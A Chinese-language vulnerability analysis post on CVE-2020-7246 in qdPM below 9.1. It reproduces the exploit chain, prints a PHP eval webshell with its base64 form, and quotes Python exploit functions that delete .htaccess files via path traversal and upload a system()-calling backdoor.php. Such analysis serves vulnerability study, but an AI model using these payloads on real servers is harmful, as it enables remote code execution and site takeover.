qdPM <9.1 远程代码执行漏洞分析(CVE-2020-7246)

2020-05-29 约 335 字 预计阅读 2 分钟

声明:本文 【qdPM <9.1 远程代码执行漏洞分析(CVE-2020-7246)】 由作者 vic****ntor 于 2020-05-29 09:41:16 首发 先知社区 曾经 浏览数 137 次

感谢 vic****ntor 的辛苦付出!

qdPM \<9.1 远程代码执行漏洞分析(CVE-2020-7246)

0x00 背景知识

htaccess文件

.htaccess文件是Apache服务器中的一个配置文件,负责相关目录下的网页配置。通过htaccess文件,可以实现网页301重定向、自定义404页面,改变文件扩展名、允许或阻止访问特定目录等操作。

一般来说,.htaccess文件需要放在网站的根目录下才能控制整个站点,并且在Linux系统中,需要将其权限设置为644来提高安全性。 .htaccess文件可作用于当前目录及所有子目录,但是某一特定目录下的.htaccess文件中的指令可能会覆盖上级目录中的.htaccess文件中的指令,也就是子目录中的指令会取代父目录或者根目录中的指令。在qdPM中,根目录和users目录都存在.htaccess文件,那么users目录下的.htaccess文件指令会覆盖掉根目录下的指令。

users目录下的.htaccess文件

# $Id$
#
# This is used to restrict access to this folder to anything other
# than images

# Prevents any script files from being accessed from the images folder
<FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
   Order Deny,Allow
   Deny from all
</FilesMatch>

users目录中的.htaccess文件限制了用户只能上传图片文件到users目录,像php、html、cgi、exe等后缀的文件都会被限制写入到这个目录中。

根目录下的.htaccess

#uncomment next two lines to run qdPM in SSL mode
#RewriteCond %{HTTPS} !=on
#RewriteRule . https://%{HTTP_HOST}%{REQUEST_URI} [L]

<IfModule mod_rewrite.c>
  RewriteEngine On

  # uncomment the following line, if you are having trouble
  # getting no_script_name to work
  #RewriteBase /

  # we skip all files with .something
  #RewriteCond %{REQUEST_URI} \..+$
  #RewriteCond %{REQUEST_URI} !\.html$
  #RewriteRule .* - [L]

  # we check if the .html version is here (caching)
  RewriteRule ^$ index.html [QSA]
  RewriteRule ^([^.]+)$ $1.html [QSA]
  RewriteCond %{REQUEST_FILENAME} !-f

  # no, so we redirect to our front web controller
  RewriteRule ^(.*)$ index.php [QSA,L]
</IfModule>

根目录下的.htaccess文件对一些html文件进行限制。

0x01 漏洞复现

  1. 访问搭建好的网站,其中预先注册了一个普通用户:user01@localhost.com/user01

  2. 运行exp,exp脚本可在https://packetstormsecurity.com/files/156063/qdPM-9.1-Remote-Code-Execution.html找到

  3. 访问exp生成的URL,发现可成功执行命令

  4. 尝试写入shell,这里是将一句话木马base64编码后写入shell.php,其实可以不用将一句话木马编码就可以写入文件中

    编码前:<?php eval($_POST[123]);?>

    编码后是:PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4K

    执行ls命令,发现成功写入文件

  5. 使用蚁剑连接shell

    成功getshell

0x02 漏洞分析

本次分析主要是根据现有的exp进行分析

exp的main()函数,在登录后获取一系列参数后调用了req()函数,因此主要分析exp的代码中的req函数

def req(
    userid,
    username,
    csrftoken_,
    EMAIL,
    HOSTNAME,
    ):
    request_1 = multifrm(
        userid,
        username,
        csrftoken_,
        EMAIL,
        HOSTNAME,
        '.htaccess',
        )
    new = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                , files=request_1)
    request_2 = multifrm(
        userid,
        username,
        csrftoken_,
        EMAIL,
        HOSTNAME,
        '../.htaccess',
        )
    new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update'
                                 , files=request_2)
    request_3 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, ''),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[photo]': ('backdoor.php',
                         '<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); echo $cmd." "; system($cmd); echo "</pre>"; die; }?>'
                         , 'application/octet-stream'),
        }
    cprint(request_3, 'red')
    upload_req = session_requests.post(HOSTNAME
            + 'index.php/myAccount/update', files=request_3)

在这个函数中,可以看到执行了三个请求,而在前两个请求中都调用了multifrm()函数

def multifrm(
    userid,
    username,
    csrftoken_,
    EMAIL,
    HOSTNAME,
    uservar,
    ):
    request_1 = {
        'sf_method': (None, 'put'),
        'users[id]': (None, userid[-1]),
        'users[photo_preview]': (None, uservar),
        'users[_csrf_token]': (None, csrftoken_[-1]),
        'users[name]': (None, username[-1]),
        'users[new_password]': (None, ''),
        'users[email]': (None, EMAIL),
        'extra_fields[9]': (None, ''),
        'users[remove_photo]': (None, '1'),
        }
    cprint(request_1, 'green')
    return request_1

结合req()函数的请求可以发现,request_1请求的users[photo_preview]参数为.htaccess,request_2请求的users[photo_preview]参数为../.htaccess

仔细观察这两个请求,可以发现这两个请求都访问了index.php/myAccount/update页面,也就是用户信息更改页面。

在源码文件 core/apps/qdPM/modules/users/actions/actions.class.php文件中找到用户修改信息的功能实现方法:processForm()函数。

processForm()函数的第241行处,发现了任意文件删除漏洞的敏感函数unlink()

而进行到这一步的条件是remove_photo的值为1,并且photo_preview值的长度要大于0

从上面的分析可以看出,multifrm()函数已经默认每个请求的remove_photo值为1,那么在request_1request_2中,这两个条件都满足。

也就是说,在request_1中,users目录下的.htaccess文件会被删除。在request_2中,利用..绕过,删除了根目录下.htaccess文件。

根据背景知识中可知,将这两个文件删除后,即可在users目录中写入php文件。

接着,继续分析源代码,分析如何写入php文件。

core/apps/qdPM/modules/users/actions/actions.class.php文件的第217-237行,对上传的图片进行了处理,也就是request_3users_photo参数的内容会经过这个逻辑。

可操作写入php文件的点就是在224行和225行的位置。

move_uploaded_file()函数的作用是将上传的文件移动到指定的位置,那么在这里的意思是将用户上传的图片移动到users目录中。因此,exp中的backdoor.php可以上传到users目录中,而backdoor.php的名称可以通过再次请求index.php/myAccount,名称会在photo_preview参数中显示,或者直接访问uploads/users,该站还存在目录遍历漏洞,直接获取后门上传后的文件名。

关键词:[‘安全技术’, ‘漏洞分析’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now